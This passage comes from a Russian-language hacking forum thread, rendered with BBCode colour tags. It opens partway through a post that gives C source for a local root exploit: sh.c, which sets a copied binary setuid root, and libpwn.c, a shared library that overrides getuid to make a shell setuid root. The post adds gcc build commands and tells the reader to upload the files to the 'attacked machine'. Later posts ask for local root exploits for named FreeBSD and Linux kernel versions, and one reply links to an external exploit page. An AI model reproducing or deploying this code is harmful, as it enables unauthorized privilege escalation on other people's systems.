return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
2. sh.c
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#include
#include
#include
[/COLOR][COLOR="#0000BB"]int main[/COLOR][COLOR="#007700"]()
{
[/COLOR][COLOR="#0000BB"]setuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]geteuid[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]setgid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]getegid[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]execl[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/bin/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"bin/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"-c"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
3. libpwn.c
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#include
#include
[/COLOR][COLOR="#0000BB"]uid_t getuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]void[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]chown[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]chmod[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]S_ISUID[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IRUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IWUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IRGRP[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXGRP[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_ IROTH[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXOTH[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
Вместо $PWD впиши каталог, в котором будешь выполнять все это на атакуемой тачке, к примеру /tmp.
Затем выполни команды:
1. gcc exec.c -o exec
2. gcc sh.c -o sh
3. gcc -Wall -fPIC -c libpwn.c
4. gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o
И все файлы, полученные на выходе, залей на атакуемый хост рядом с своим баш скриптиком.
Спасибо, что разжевал все.
Жалко, что
System does not appear to be vulnerable
Запатчено типа?
|
|
|

22.09.2011, 16:20
|
|
Guest
Сообщений: n/a
Провел на форуме: 3913
Репутация:
1
|
|
знатоки, подскажите пожалуйста сплоит на
FreeBSD 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Mon Jul 12 19:23:19 UTC 2010 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
|
|
|
|

22.09.2011, 17:09
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме: 1585404
Репутация:
564
|
|
2C-r-A-c-K пробуй http://www.attackvector.org/freebsd-8-7-local-root-exploit/?utm_source=feedburner&utm_medium=twitter&utm_camp aign=Feed%3A+attackvector+%28Attack+Vector%29
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|

22.09.2011, 17:37
|
|
Guest
Сообщений: n/a
Провел на форуме: 3913
Репутация:
1
|
|
shell_c0de, в консоли (порта 7030) получаю циклический набор символов, в итоге nc вылетает
|
|
|
|

22.09.2011, 18:43
|
|
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме: 66627
Репутация:
0
|
|
под это есть что>?
Linux 2.6.18-194.8.1.el5 #1 SMP Thu Jul 1 19:04:48 EDT 2010 x86_64
|
|
|

22.09.2011, 18:57
|
|
Guest
Сообщений: n/a
Провел на форуме: 2306
Репутация:
0
|
|
Помогите под этот найти:
Linux 2.6.32-71.29.1.el6.x86_64 #1 SMP Mon Jun 27 19:49:27 BST 2011 x86_64 x86_64 x86_64 GNU/Linux
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|